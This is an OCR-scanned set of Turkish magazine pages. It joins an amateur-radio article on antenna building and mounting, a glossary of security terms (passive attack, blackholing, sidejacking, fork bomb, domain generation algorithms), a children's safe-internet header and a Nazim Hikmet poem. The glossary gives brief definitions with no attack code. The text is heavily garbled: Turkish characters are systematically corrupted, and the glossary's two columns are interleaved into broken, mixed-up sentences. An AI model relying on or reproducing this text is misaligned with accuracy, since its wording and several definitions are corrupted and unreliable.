lanilan malzemenin igerigi, kalinlig, tur sayis1 ve bu turlarda
birbirine olan yakinlik mesafelerinin mm cinsinden 6nemli
konular oldugunu aklimizdan ¢ikarmamiz gereklidir.

Yukarida bahsettigimiz hususlar igerisindeki empedans uyu-
mu, yani telsiz haberlesmesinde kullanilan 50 ohm uyumlu-
lugu baska bir sey, kullanilacak frekans aralig1 i¢in uygunluk
bambagka seylerdir.

Yeni baglayacak arkadaglara tavsiyem muhakkak oncelikle
Mono Band diye adlandirilan tek band i¢in ¢alisacak antenle-
rin yapimu ile ise baglamalaridir. Mono Band antenler ¢aligma
band araliginin anlasilabilmesi, sonrasinda yayilim (pattern)
denilen anten gekline bagli olan sinyal yayilim ve duyum ka-
biliyetlerinin degiskenlikleri gibi hususlarin ¢ok daha iyi an-
lasilabilmesine ve yapilan antenlerin SWR Metre cihazlari ile
kontrollerinde degerin 1,0 - 1,5 araliklarinda gayet iyi olma-
larina karsin sistem {izerine takildiginda verimli olup olma-
yislarinin sebeplerinin anlagilabilmesi konusunda oldukga
yardimci olacak tecriibeler yasanmasinda faydasi olacak ve bir
sonraki adimda sizi ¢ok daha hizli bir sekilde bu hobi igeri-
sindeki matematigi anlamaniza yardimi dokunacak konular
oldugunu unutmayiniz.

Her telsiz her ne kadar iyi bir kalitede, markada, ¢ikis glictinde
olursa olsun onu hayata baglayan besleme kaynagi, anten ve
kablo tesisati olmadan higbir sekilde deger kazanamaz! Cok

iyi bir besleme kaynagina dahi sahip olsaniz anten sizin en
onemli hayat kaynaginizdir!

Anten yapimu ilk baglarda genellikle VHF ve UHF bantlarda
diistiniildigiinden aslinda en karmagik anten yapilaridir. Bu
en zorlu anten yapimlar: maalesef biitgesel gii¢ ile hobiye en
basta el cihazlar1 ve arag cihazlari igerisinde en uygun fiyat-
It olan bu bantlar araliginda basladig: icin bu sekilde yasan-
maktadir. HF dedigimiz frekans araliklarina gegen bir Amator
Telsiz Operatorii ise, anten yapimi konusunda oldukga rahat
anten tirleri ile karsilasacak. Fakat bu kez de anlamasi gereken
en 6nemli husus olan BAUN-UNUN gibi empedans uyumu
i¢in gerekli donanimlar i¢in ¢ok da karmagik olmayacak anten
yapimlarina baglayabilecektir. Iste burada bahsettigimiz Dual-
Mono (VHF-UHF) araliklarda ¢aligan daha kavramasi ve ya-
pimu zor olan tiir dikey antenlerden 6te HF anten yapilarinda
caligmaya baglandiginda kavranmaya baslayan anten montaj
sekilleri de tam burada karsimiza ¢cikmaktadir.

Anteniniz hangi band arali$1 i¢in olursa olsun, hangi tiirde
bir anten olursa olsun olduk¢a 6nemli ancak nedense her za-
man en son akla gelen montaj sekli ile de size avantaj ve deza-
vantajlar sunmaktadir. Ulkemiz amatérliigii icerisinde de bu
konularda kullanilan yanligtan tistii ortiilit kaginma yontemi
olarak “Anten yerini sevmedi!” gibi ifadeler teselli kaynag: ol-
maktadir.

Anten tlriine ve yapisina gore size uygun frekans araliginda
ve dalga boyunda olmalidir. Bunlarin hepsi standartlara en
uygun halde olsa dahi yine kilit noktas1 olan montaj sekli ve
montajin yapildig yeridir.

Asagida ileride detaylarini anlatmaya calisacagimiz anten bant
ve tiirlerine gore yayilim 6rnek goriintiileri verilmistir. Dikkat
edecek olursaniz % - % - 5/8 tiirlerde dahi yayilimlar farklilik
gostermektedir. Bu gizimlerde en 6nemli detay, yatay ve dikey
gorintiilerin oldugudur. Kisacas, yayilim ¢izimlerini antenler
i¢in bir yuvarlak olarak diisinmeniz geregidir. Buradan man-
tikla dikey bir anten i¢in sunu demek en dogrusu olacaktir; bir
anteni belirtilen laboratuvar ol¢iimlerinde en verimli sekliyle
kullanabilmek i¢in o anteni gerek duyacag: yiikseklikte (pat-
tern tamamlayacagl) monte etmelisiniz. Kabaca sdyleyecek
olursak 3m boya sahip dikey bir anteni etrafi tam a¢ik olacak
bir goriis mesafesinde ve zeminden kendi boyunun en az iki
katindan 1m daha fazla yiiksege monte etmelisiniz! Bu olduk-
¢a onemlidir, fakat miimkiin olan sartlar ne kadar izin veriyor-
sa bu gekli ile montaji yapilabildiginden verimleri de o oran-
larda degiskenlik gostermektedir ve ne yazik ki bu detaylar:
yerine getiremedigimiz ve teknik bakigimiz eksik kaldiginda
yukarida bahsi gegen “Anten yerini sevmedi” gibi duygusal bir
bag gosteriyormus gibi bir kurtarici teselli bize eglik edecektir!
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Jpole Anten ve VHF Antenler dalga boylarina gére yayilim érnekleri

Bir sonraki yazimizda tekrar hevesi bol ve 6grenme istegi icerisinde bulunan arkadaslarla tekrar goriismek ve tecriibeleri uygu-
lamalarla hizlica gelistirebilmek dileklerimle giizel bir yaz gecirmenizi diliyorum, saygilarimla...
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PASSIVE ATTACK BLACKHOLING

Saldirganin iletisim kanallarini dinlemesi

Internet servis saglayicilan(1SS) tarafindan,
veya sistemlerini izlemesi ile karakterize belirli bir domain veya adresten gelen
edilen bir saldindir. Mikrofon ve kamera trafigi bir kara delige(black hole)

uzerinden casusluk faaliyetleri 6rnek yonlendirerek DDoS saldirilarim
gdsterilebilir. Sistemde ya da verilerde bir durdurmak igin kullanilan yaygin bir
degisiklik amacglanmaz.

savunma stratejisidir.
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SIDEJACKING FORKBOMB

Ayni agda bulunan aktif bir baglantiya ait

Bir process’in siirekli cogaltilarak sonsuz
oturum bilgilerini (cookie) calmay bir déngiiye sokulmas: ile tam sistem
hedefleyen ve bu bilgilerle kullamcinin kaynaklarim tiketen,sistemi islem
oturumunu ele gegiren ag tabanli bir saldin yapilamaz hale getiren hizmet reddi
yontemidir. Genellikle packet snifing saldinsidir.
kullarmilarak gerceklestirilir.

93 99

aa (i

DOMAIN
COGNITIVE SECURITY GENERATION ALGORITHMS

Tehdit tespiti,analizi ve midahale siireclerini Kétii niyetli yaziimlar tarafindan, komuta
gelistirmek lizere tasarlanan,strekli 6grenmeye kentrol merkezine (C&C) erisim amaciyla belirli
dayali yapay zeka(Al) teknolojisidir. Tehditle ilgili araliklarla dinamik olarak etki alan olusturmak

kendi hipotezlerini gelistirerek i¢in kullanilan algoritmalardir.
degerlendirmede bulunabilir.
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COCUKLAR iCIN GUVENLI
INTERNET SERISI

Cocuklar
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Diinyay:i verelim gocuklara hi¢ degilse bir ginliigtine
Alli pullu bir balon gibi verelim oynasinlar
Oynasinlar tirkdler séyleyerek yildizlarin arasinda
Diinyayi cocuklara verelim
Kocaman bir elma gibi verelim sicacik bir ekmek somunu gibi
Hig degilse bir glinligtine doysunlar
Bir giinliik de olsa égrensin dlinya arkadaslgi

Cocuklar diinyayi alacak elimizden

Oliimstiz agaclar dikecekler

Nazim Hikmet
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